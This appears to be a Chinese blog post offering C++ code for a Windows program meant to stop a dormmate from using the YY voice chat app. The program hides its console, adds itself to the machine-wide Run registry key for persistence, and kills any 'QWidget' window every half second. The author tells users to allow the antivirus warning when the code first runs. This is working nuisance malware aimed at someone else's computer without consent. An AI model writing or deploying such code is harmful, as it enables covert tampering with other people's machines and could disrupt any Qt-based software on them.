zoukankan      html  css  js  c++  java
  • [vc]让你Y的用YY

    朋友宿舍有个孩子老是晚上别人要睡觉他玩YY叫唤,就让我写个弱智程序让他开不了YY,下面是代码

    #include <windows.h>
    #include <stdio.h>
    #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
    
    void Fuck()
    {
        unsigned long id_num;
        while(1)
        {
            Sleep(500);
            HWND hWnd = ::FindWindow("QWidget", NULL); 
            GetWindowThreadProcessId(hWnd, &id_num); 
            HANDLE hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE, id_num);
            TerminateProcess(hd, 0); 
        }
    }
    void autorun()
    {
        TCHAR szModName[256];
        GetModuleFileName(0,szModName,50);
    
        char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
        HKEY hkResult;
        int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
    
        DWORD      WordType = REG_SZ;     
        DWORD      WordData = 100;
        LPBYTE     KeyByte  = new  BYTE[1024];
        memset(KeyByte,0,1024);
        ret = RegQueryValueEx(hkResult,"fuckyou",NULL,&WordType,(LPBYTE)KeyByte, &WordData);
        if(ret != ERROR_SUCCESS)
        {
            ret=RegSetValueEx(hkResult,"fuckyou",0,REG_SZ,(const unsigned char *)szModName,100);
            if(ret==0)
            {
                printf("success to write run key\n");
                RegCloseKey(hkResult);
            }
            else
            {
                printf("failed to open regedit.%d\n",ret);
            }
        }
    }
    int main()
    {
        autorun();
        Fuck();
        return 0;
    }

    第一次运行的时候,杀软什么的可能会提示有加入新注册表项,允许就好了。

  • 相关阅读:
    .NET实现Excel文件的读写 未测试
    权限管理设计
    struts1中配置应用
    POJ 2139 Six Degrees of Cowvin Bacon(floyd)
    POJ 1751 Highways
    POJ 1698 Alice's Chance
    POJ 1018 Communication System
    POJ 1050 To the Max
    POJ 1002 4873279
    POJ 3084 Panic Room
  • 原文地址:https://www.cnblogs.com/co1d7urt/p/2764346.html
Copyright © 2011-2022 走看看